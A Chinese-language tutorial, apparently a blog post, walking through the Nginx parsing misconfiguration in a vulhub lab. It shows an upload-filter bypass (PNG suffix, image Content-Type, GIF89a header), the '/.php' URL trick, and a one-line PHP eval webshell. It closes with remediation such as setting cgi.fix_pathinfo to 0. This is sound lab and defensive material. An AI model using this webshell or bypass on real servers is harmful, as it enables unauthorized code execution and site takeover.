当前位置: 首页 > news >正文

中间件安全:Nginx 解析漏洞测试.

中间件安全:Nginx 解析漏洞测试.

Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码


目录:

中间件安全:Nginx 解析漏洞测试.

漏洞的危害:

靶场搭建:

(1)切换到环境目录.

(2)开启环境.

(3)直接访问目标主机的 IP 地址就行.

Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.

(2)我们进行抓包,把修改文件后缀名png

(3)访问我们上传的文件是否存在.

提高控制权,上传 webshell 

(1)写一个 Webshell 的连接.

(2)上传进行抓包,修改文件后缀名png

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php

(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。

(2)在系统上线前对敏感配置文件进行检查。

(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0


漏洞的危害:

(1)攻击者可以绕过文件上传的检测,上传恶意文件。

(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。

(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。


靶场搭建:

环境搭建:Web安全:iwebsec || vulhub 靶场搭建.


(1)切换到环境目录.
vulhub/nginx/nginx_parsing_vulnerability


(2)开启环境.
sudo docker-compose up -d


(3)直接访问目标主机的 IP 地址就行.


Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.


(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a 


(3)访问我们上传的文件是否存在.


(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


提高控制权,上传 webshell 

(1)写一个 Webshell 的连接.
<?php                                //一句话木马程序@eval($_POST['bgxg']);
?>

(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a


(3)访问我们上传的文件是否存在.


(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.


防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0

    

    

    

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • CSP 初赛复习 :计算机网络基础
  • java~反射
  • 用Python打造精彩动画与视频,3.2 基本的剪辑和合并操作
  • 【Vulnhub系列】Vulnhub Lampiao-1 靶场渗透(原创)
  • Spring提供的AOP支持是什么
  • VMware虚拟机设置桥接网络固定IP
  • 社区养老服务小程序的设计
  • 规控面试常见问题
  • 【AI-12】浅显易懂地说一下损失函数
  • css-伪类选择器
  • SpringBoot使用泛型出入参+策略模式+反射+缓存实现统一POST接口入口
  • 连锁企业组网的优化解决方案
  • 通过Java实现插入排序(直接插入,希尔)与选择排序(直接选择,堆排)
  • 12. 计算机网络TCP四次挥手
  • 【avue+vue2+elementui】删除、rules、页面跳转和其他问题
  • “寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面
  • 【跃迁之路】【733天】程序员高效学习方法论探索系列(实验阶段490-2019.2.23)...
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • echarts的各种常用效果展示
  • electron原来这么简单----打包你的react、VUE桌面应用程序
  • Java比较器对数组,集合排序
  • Java面向对象及其三大特征
  • leetcode46 Permutation 排列组合
  • nginx(二):进阶配置介绍--rewrite用法,压缩,https虚拟主机等
  • npx命令介绍
  • react-core-image-upload 一款轻量级图片上传裁剪插件
  • RxJS: 简单入门
  • spring + angular 实现导出excel
  • tensorflow学习笔记3——MNIST应用篇
  • vue自定义指令实现v-tap插件
  • 订阅Forge Viewer所有的事件
  • 力扣(LeetCode)21
  • 悄悄地说一个bug
  • 携程小程序初体验
  • 一道闭包题引发的思考
  • 一份游戏开发学习路线
  • 你学不懂C语言,是因为不懂编写C程序的7个步骤 ...
  • ​渐进式Web应用PWA的未来
  • ​人工智能之父图灵诞辰纪念日,一起来看最受读者欢迎的AI技术好书
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • #NOIP 2014# day.2 T2 寻找道路
  • (26)4.7 字符函数和字符串函数
  • (7)摄像机和云台
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (Redis使用系列) SpringBoot 中对应2.0.x版本的Redis配置 一
  • (带教程)商业版SEO关键词按天计费系统:关键词排名优化、代理服务、手机自适应及搭建教程
  • (第一天)包装对象、作用域、创建对象
  • (二)WCF的Binding模型
  • (考研湖科大教书匠计算机网络)第一章概述-第五节1:计算机网络体系结构之分层思想和举例
  • (蓝桥杯每日一题)平方末尾及补充(常用的字符串函数功能)
  • (区间dp) (经典例题) 石子合并
  • (一)模式识别——基于SVM的道路分割实验(附资源)
  • (转)IOS中获取各种文件的目录路径的方法
  • ./和../以及/和~之间的区别
  • .NET Compact Framework 多线程环境下的UI异步刷新